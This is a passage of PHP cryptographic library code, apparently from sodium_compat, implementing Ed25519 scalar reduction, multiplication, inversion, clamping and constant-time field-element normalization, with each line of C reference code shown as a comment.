s8 >> 21; // s9 += carry8; // s8 -= carry8 * ((uint64_t) 1L << 21); $carry8 = $s8 >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; // carry9 = s9 >> 21; // s10 += carry9; // s9 -= carry9 * ((uint64_t) 1L << 21); $carry9 = $s9 >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; // carry10 = s10 >> 21; // s11 += carry10; // s10 -= carry10 * ((uint64_t) 1L << 21); $carry10 = $s10 >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; // carry11 = s11 >> 21; // s12 += carry11; // s11 -= carry11 * ((uint64_t) 1L << 21); $carry11 = $s11 >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; // s0 += s12 * 666643; // s1 += s12 * 470296; // s2 += s12 * 654183; // s3 -= s12 * 997805; // s4 += s12 * 136657; // s5 -= s12 * 683901; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); // carry0 = s0 >> 21; // s1 += carry0; // s0 -= carry0 * ((uint64_t) 1L << 21); $carry0 = $s0 >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; // carry1 = s1 >> 21; // s2 += carry1; // s1 -= carry1 * ((uint64_t) 1L << 21); $carry1 = $s1 >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; // carry2 = s2 >> 21; // s3 += carry2; // s2 -= carry2 * ((uint64_t) 1L << 21); $carry2 = $s2 >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; // carry3 = s3 >> 21; // s4 += carry3; // s3 -= carry3 * ((uint64_t) 1L << 21); $carry3 = $s3 >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; // carry4 = s4 >> 21; // s5 += carry4; // s4 -= carry4 * ((uint64_t) 1L << 21); $carry4 = $s4 >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; // carry5 = s5 >> 21; // s6 += carry5; // s5 -= carry5 * ((uint64_t) 1L << 21); $carry5 = $s5 >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; // carry6 = s6 >> 21; // s7 += carry6; // s6 -= carry6 * ((uint64_t) 1L << 21); $carry6 = $s6 >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; // carry7 = s7 >> 21; // s8 += carry7; // s7 -= carry7 * ((uint64_t) 1L << 21); $carry7 = $s7 >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; // carry8 = s8 >> 21; // s9 += carry8; // s8 -= carry8 * ((uint64_t) 1L << 21); $carry8 = $s8 >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; // carry9 = s9 >> 21; // s10 += carry9; // s9 -= carry9 * ((uint64_t) 1L << 21); $carry9 = $s9 >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; // carry10 = s10 >> 21; // s11 += carry10; // s10 -= carry10 * ((uint64_t) 1L << 21); $carry10 = $s10 >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $s = array_fill(0, 32, 0); // s[0] = s0 >> 0; $s[0] = $s0 >> 0; // s[1] = s0 >> 8; $s[1] = $s0 >> 8; // s[2] = (s0 >> 16) | (s1 * ((uint64_t) 1 << 5)); $s[2] = ($s0 >> 16) | ($s1 << 5); // s[3] = s1 >> 3; $s[3] = $s1 >> 3; // s[4] = s1 >> 11; $s[4] = $s1 >> 11; // s[5] = (s1 >> 19) | (s2 * ((uint64_t) 1 << 2)); $s[5] = ($s1 >> 19) | ($s2 << 2); // s[6] = s2 >> 6; $s[6] = $s2 >> 6; // s[7] = (s2 >> 14) | (s3 * ((uint64_t) 1 << 7)); $s[7] = ($s2 >> 14) | ($s3 << 7); // s[8] = s3 >> 1; $s[8] = $s3 >> 1; // s[9] = s3 >> 9; $s[9] = $s3 >> 9; // s[10] = (s3 >> 17) | (s4 * ((uint64_t) 1 << 4)); $s[10] = ($s3 >> 17) | ($s4 << 4); // s[11] = s4 >> 4; $s[11] = $s4 >> 4; // s[12] = s4 >> 12; $s[12] = $s4 >> 12; // s[13] = (s4 >> 20) | (s5 * ((uint64_t) 1 << 1)); $s[13] = ($s4 >> 20) | ($s5 << 1); // s[14] = s5 >> 7; $s[14] = $s5 >> 7; // s[15] = (s5 >> 15) | (s6 * ((uint64_t) 1 << 6)); $s[15] = ($s5 >> 15) | ($s6 << 6); // s[16] = s6 >> 2; $s[16] = $s6 >> 2; // s[17] = s6 >> 10; $s[17] = $s6 >> 10; // s[18] = (s6 >> 18) | (s7 * ((uint64_t) 1 << 3)); $s[18] = ($s6 >> 18) | ($s7 << 3); // s[19] = s7 >> 5; $s[19] = $s7 >> 5; // s[20] = s7 >> 13; $s[20] = $s7 >> 13; // s[21] = s8 >> 0; $s[21] = $s8 >> 0; // s[22] = s8 >> 8; $s[22] = $s8 >> 8; // s[23] = (s8 >> 16) | (s9 * ((uint64_t) 1 << 5)); $s[23] = ($s8 >> 16) | ($s9 << 5); // s[24] = s9 >> 3; $s[24] = $s9 >> 3; // s[25] = s9 >> 11; $s[25] = $s9 >> 11; // s[26] = (s9 >> 19) | (s10 * ((uint64_t) 1 << 2)); $s[26] = ($s9 >> 19) | ($s10 << 2); // s[27] = s10 >> 6; $s[27] = $s10 >> 6; // s[28] = (s10 >> 14) | (s11 * ((uint64_t) 1 << 7)); $s[28] = ($s10 >> 14) | ($s11 << 7); // s[29] = s11 >> 1; $s[29] = $s11 >> 1; // s[30] = s11 >> 9; $s[30] = $s11 >> 9; // s[31] = s11 >> 17; $s[31] = $s11 >> 17; return self::intArrayToString($s); } /** * @param string $s * @return string */ public static function sc25519_sq($s) { return self::sc25519_mul($s, $s); } /** * @param string $s * @param int $n * @param string $a * @return string */ public static function sc25519_sqmul($s, $n, $a) { for ($i = 0; $i < $n; ++$i) { $s = self::sc25519_sq($s); } return self::sc25519_mul($s, $a); } /** * @param string $s * @return string */ public static function sc25519_invert($s) { $_10 = self::sc25519_sq($s); $_11 = self::sc25519_mul($s, $_10); $_100 = self::sc25519_mul($s, $_11); $_1000 = self::sc25519_sq($_100); $_1010 = self::sc25519_mul($_10, $_1000); $_1011 = self::sc25519_mul($s, $_1010); $_10000 = self::sc25519_sq($_1000); $_10110 = self::sc25519_sq($_1011); $_100000 = self::sc25519_mul($_1010, $_10110); $_100110 = self::sc25519_mul($_10000, $_10110); $_1000000 = self::sc25519_sq($_100000); $_1010000 = self::sc25519_mul($_10000, $_1000000); $_1010011 = self::sc25519_mul($_11, $_1010000); $_1100011 = self::sc25519_mul($_10000, $_1010011); $_1100111 = self::sc25519_mul($_100, $_1100011); $_1101011 = self::sc25519_mul($_100, $_1100111); $_10010011 = self::sc25519_mul($_1000000, $_1010011); $_10010111 = self::sc25519_mul($_100, $_10010011); $_10111101 = self::sc25519_mul($_100110, $_10010111); $_11010011 = self::sc25519_mul($_10110, $_10111101); $_11100111 = self::sc25519_mul($_1010000, $_10010111); $_11101011 = self::sc25519_mul($_100, $_11100111); $_11110101 = self::sc25519_mul($_1010, $_11101011); $recip = self::sc25519_mul($_1011, $_11110101); $recip = self::sc25519_sqmul($recip, 126, $_1010011); $recip = self::sc25519_sqmul($recip, 9, $_10); $recip = self::sc25519_mul($recip, $_11110101); $recip = self::sc25519_sqmul($recip, 7, $_1100111); $recip = self::sc25519_sqmul($recip, 9, $_11110101); $recip = self::sc25519_sqmul($recip, 11, $_10111101); $recip = self::sc25519_sqmul($recip, 8, $_11100111); $recip = self::sc25519_sqmul($recip, 9, $_1101011); $recip = self::sc25519_sqmul($recip, 6, $_1011); $recip = self::sc25519_sqmul($recip, 14, $_10010011); $recip = self::sc25519_sqmul($recip, 10, $_1100011); $recip = self::sc25519_sqmul($recip, 9, $_10010111); $recip = self::sc25519_sqmul($recip, 10, $_11110101); $recip = self::sc25519_sqmul($recip, 8, $_11010011); return self::sc25519_sqmul($recip, 8, $_11101011); } /** * @param string $s * @return string */ public static function clamp($s) { $s_ = self::stringToIntArray($s); $s_[0] &= 248; $s_[31] |= 64; $s_[31] &= 128; return self::intArrayToString($s_); } /** * Ensure limbs are less than 28 bits long to prevent float promotion. * * This uses a constant-time conditional swap under the hood. * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_normalize(ParagonIE_Sodium_Core_Curve25519_Fe $f) { $x = (PHP_INT_SIZE << 3) - 1; // 31 or 63 $g = self::fe_copy($f); for ($i = 0; $i < 10; ++$i) { $mask = -(($g[$i] >> $x) & 1); /* * Get two candidate normalized values for $g[$i], depending on the sign of $g[$i]: */ $a = $g[$i] & 0x7ffffff; $b = -((-$g[$i]) & 0x7ffffff); /* * Return the appropriate candidate value, based on the sign of the original input: * * The following is equivalent to this ternary: * * $g[$i] = (($g[$i] >> $x) & 1) ? $a : $b; * * Except what's written doesn't contain timing leaks. */ $g[$i] = ($a ^ (($a ^ $b) & $mask)); } return $g; } }